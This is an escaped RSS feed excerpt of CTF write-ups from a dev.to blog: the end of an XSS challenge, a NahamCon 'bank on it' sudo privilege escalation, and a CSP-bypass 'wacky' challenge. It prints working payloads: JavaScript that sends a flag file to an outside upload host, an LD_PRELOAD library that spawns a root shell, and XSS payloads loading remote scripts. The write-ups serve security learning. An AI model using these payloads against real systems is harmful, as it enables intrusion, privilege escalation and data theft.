&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;script&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="nx"&gt;s0&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementsByTagName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;script&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://embed.tawk.to/61830caa6bb0760a494106d7/1fjjuiusl&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;UTF-8&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;crossorigin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;s0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parentNode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;insertBefore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;s0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="p"&gt;})();&lt;/span&gt;

&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://127.0.0.1:9000/view/f1135719-d3a5-4534-9bc1-f7ddcf4c8cb3&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;formData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;FormData&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;File&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;flag2.txt&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;text/plain&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="nx"&gt;formData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;upload&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;file&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://upload.tawk.to/upload/page/agent?handle=8194642e04cf8530ca49d5432a72ffc1d06c3569&amp;amp;pageId=61830caa6bb0760a494106d7&amp;amp;agentSessionId=61855f3369d9e20b02eb53da&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,{&lt;/span&gt;
        &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;formData&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Our final payload would be:&lt;br&gt;
&lt;code&gt;'/&amp;gt;&amp;lt;script src="https://cdn.jsdelivr.net/gh/nerdyamigo/cdnxss@main/testcsrfpost11/flagplz7.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Which when the bot visits before closing our ticket will send us the file with the html contents.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuj3qju2528e8v9uhs5zt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuj3qju2528e8v9uhs5zt.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This last challenge was a lot of fun to solve. &lt;/p&gt;

</description>
    </item>
    <item>
      <title>bank on it</title>
      <dc:creator>pirateducky</dc:creator>
      <pubDate>Mon, 15 Mar 2021 07:28:38 +0000</pubDate>
      <link>https://dev.to/pirateducky/bank-on-it-2nbd</link>
      <guid>https://dev.to/pirateducky/bank-on-it-2nbd</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--nNvKGg0J--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1aieunlhkseejujyyz6q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--nNvKGg0J--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1aieunlhkseejujyyz6q.png" alt="Screenshot_2021-03-14 NahamCon CTF" width="850" height="631"&gt;&lt;/a&gt;&lt;br&gt;
 To log into the box use the &lt;code&gt;ssh&lt;/code&gt; keys found &lt;a href="https://github.com/gusrodry/development/tree/master/config/.ssh"&gt;here&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;I had a lot of fun doing the &lt;code&gt;NahamConCTF&lt;/code&gt;, thanks everyone who was involved. This is a small writeup for the &lt;strong&gt;Bank on it&lt;/strong&gt; challenge. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt;&lt;br&gt;
The current user can execute the &lt;code&gt;/opt/banking/bank&lt;/code&gt; binary using sudo, however the &lt;code&gt;SETENV&lt;/code&gt; option is enabled, which helps persist environment variables when using &lt;code&gt;sudo&lt;/code&gt; since it starts a session, with that we can use &lt;code&gt;LD_PRELOAD&lt;/code&gt; to load a malicious function and get a shell as root. &lt;/p&gt;

&lt;p&gt;Credit to: &lt;a href="https://sumit-ghosh.com/articles/hijacking-library-functions-code-injection-ld-preload/"&gt;https://sumit-ghosh.com/articles/hijacking-library-functions-code-injection-ld-preload/&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;Find out if the user can run anything as root we can use &lt;code&gt;sudo -l&lt;/code&gt; , it appears that they can run the &lt;code&gt;/op/banking/bank&lt;/code&gt; binary as root, with no password, we also see the &lt;code&gt;SETENV&lt;/code&gt; which will come in handy later.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;$ sudo -l
Matching Defaults entries for gus on banking-on-it-88199b44846b0f72-65bbbf7d6c-82b95:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User gus may run the following commands on banking-on-it-88199b44846b0f72-65bbbf7d6c-82b95:
    (root) SETENV: NOPASSWD: /opt/banking/bank
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;SETENV&lt;/code&gt; is dangerous, it allows us to persist environment variables when using &lt;code&gt;sudo&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;Since &lt;code&gt;SETENV&lt;/code&gt; is specified in the &lt;code&gt;sudoers&lt;/code&gt; file we can use this to load an environment variable that will allow us to hijack where shared libraries are used first - and although we could hijack one of the functions being used directly in the binary to make sure this works we'll be hijacking the &lt;code&gt;_init&lt;/code&gt; function, more info &lt;a href="https://www.linuxquestions.org/questions/programming-9/_start-_init-and-frame_dummy-functions-810257/"&gt;here&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;_init&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"/bin/sh"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="n"&gt;execve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We'll name this &lt;code&gt;shlib.c&lt;/code&gt; and now compile it like &lt;/p&gt;

&lt;p&gt;&lt;code&gt;gcc -shared -fpic -nostartfiles shlib.c -o [shlib.so](http://shlib.so)&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;You should now have a &lt;code&gt;[shlib.so](http://shlib.so)&lt;/code&gt; file which we'll be using to hijack the &lt;code&gt;_init&lt;/code&gt; function in the binary. &lt;/p&gt;

&lt;p&gt;Now let's use &lt;code&gt;LD_PRELOAD&lt;/code&gt; &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The &lt;code&gt;LD_PRELOAD&lt;/code&gt; trick exploits functionality provided by the dynamic linker on Unix systems that allows you to tell the linker to bind symbols provided by a certain shared library before other libraries.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.goldsborough.me/c/low-level/kernel/2016/08/29/16-48-53-the_-ld_preload-_trick/"&gt;http://www.goldsborough.me/c/low-level/kernel/2016/08/29/16-48-53-the_-ld_preload-_trick/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you set &lt;code&gt;LD_PRELOAD&lt;/code&gt; to the path of a shared object, that file will be loaded before any other library (including the C runtime, &lt;a href="http://libc.so/"&gt;libc.so&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://stackoverflow.com/questions/426230/what-is-the-ld-preload-trick"&gt;https://stackoverflow.com/questions/426230/what-is-the-ld-preload-trick&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's execute the binary like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo LD_PRELOAD=/home/gus/shlib.so /opt/banking/bank&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--jyhW5YoK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rw405ynjdpfcz5qezrgq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--jyhW5YoK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rw405ynjdpfcz5qezrgq.png" alt="root" width="880" height="236"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And we are now root! &lt;/p&gt;

</description>
    </item>
    <item>
      <title>wacky</title>
      <dc:creator>pirateducky</dc:creator>
      <pubDate>Tue, 10 Nov 2020 04:03:12 +0000</pubDate>
      <link>https://dev.to/pirateducky/wacky-2g84</link>
      <guid>https://dev.to/pirateducky/wacky-2g84</guid>
      <description>&lt;p&gt;&lt;strong&gt;Objectives:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;You must &lt;code&gt;alert(origin)&lt;/code&gt; showing &lt;code&gt;https://wacky.buggywebsite.com&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;You must &lt;strong&gt;bypass CSP&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;It must be reproducible using the latest version of &lt;em&gt;Chrome&lt;/em&gt; &lt;/li&gt;
&lt;li&gt;You must provide a working proof-of-concept on bugpoc.com &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;Bypassed access restrictions to &lt;code&gt;/frame.html&lt;/code&gt; which allowed me to inject and render &lt;code&gt;html&lt;/code&gt;, bypassed &lt;code&gt;csp&lt;/code&gt; using the &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; element to execute a remote javascript file, bypassed the integrity check and broke out of the iframe's sandbox to execute &lt;code&gt;alert(origin)&lt;/code&gt; which was not possible due to the &lt;code&gt;sandbox&lt;/code&gt; attribute given to the iframe we end up in.&lt;/p&gt;

&lt;p&gt;Thank you for the challenge - hope everyone likes this writeup, there is a &lt;a href="https://hackerone.com/reports/1026594" rel="noopener noreferrer"&gt;visualization for the exploits&lt;/a&gt; you can check out after reading this.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exploit
&lt;/h3&gt;

&lt;p&gt;bucpoc exploit: &lt;a href="https://bugpoc.com/poc#bp-jGQnU5oH" rel="noopener noreferrer"&gt;jGQnU5oH&lt;/a&gt; (works on latest Chrome version)&lt;/p&gt;

&lt;p&gt;bugpoc password: SociAlcRAne15&lt;/p&gt;

&lt;p&gt;This is the &lt;a href="http://bugpoc.com" rel="noopener noreferrer"&gt;bugpoc.com&lt;/a&gt; payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Front-End BugPoC --&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
    &lt;span class="c"&gt;&amp;lt;!-- TODO implement --&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;NOTHING TO SEE HERE&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Cbase%20href=%27https://4d46opa6bb58.redir.bugpoc.ninja%27%3E%3Ca%20id=fileIntegrity%3E%3Ca%20id=fileIntegrity%20name=value%20href=nah%3E&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;iframe&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fjurx6lm4qrebnjg5qsqc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fjurx6lm4qrebnjg5qsqc.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Technical Details
&lt;/h1&gt;

&lt;p&gt;The following sections will walk through the technical details on each part of the challenge. Enjoy&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;initial foothold&lt;/li&gt;
&lt;li&gt;csp but make it vulnerable&lt;/li&gt;
&lt;li&gt;
integrity || GTFO

&lt;ul&gt;
&lt;li&gt;bypass&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;it's clobberin time&lt;/li&gt;

&lt;li&gt;the great escape&lt;/li&gt;

&lt;li&gt;poc diy&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Initial foothold
&lt;/h3&gt;

&lt;p&gt;The challenge is at &lt;a href="https://wacky.buggywebsite.com/" rel="noopener noreferrer"&gt;&lt;code&gt;https://wacky.buggywebsite.com/&lt;/code&gt;&lt;/a&gt; which loads an application that gets user input and turns it into "wacky text". This is implemented by loading an iframe from &lt;code&gt;/frame.html&lt;/code&gt; which is where the code for turning the normal text into wacky text is located. It is also important to mention that this iframe has a sort of access control which "protects" it from being loaded directly from the browser: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F48wqprq182r38t1pnlg7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F48wqprq182r38t1pnlg7.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Back in &lt;code&gt;/&lt;/code&gt; we can see the html source and see the iframe being loaded correctly&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;round-div&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;span&lt;/span&gt; &lt;span class="na"&gt;style&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"opacity:.5"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Enter Boring Text:&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;span&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;textarea&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"txt"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Hello, World!&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;textarea&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;style&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"text-align: center;"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"btn"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Make Whacky!&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;iframe&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"frame.html?param=Hello, World!"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"iframe"&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"theIframe"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;iframe&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The access control is implemented in the script loaded inside &lt;code&gt;/frame.html&lt;/code&gt; . The code below shows the "verification" that determines if the iframe we are interested in can be loaded&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// this checks the window name before dynamically generating the iframe we need&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;iframe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="c1"&gt;// securely load the frame analytics code&lt;/span&gt;
    &lt;span class="c1"&gt;// this just need to eval to true (the actual value doesn't matter)&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fileIntegrity&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="c1"&gt;// create a sandboxed iframe&lt;/span&gt;
    &lt;span class="nx"&gt;analyticsFrame&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;iframe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;analyticsFrame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sandbox&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;allow-scripts allow-same-origin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
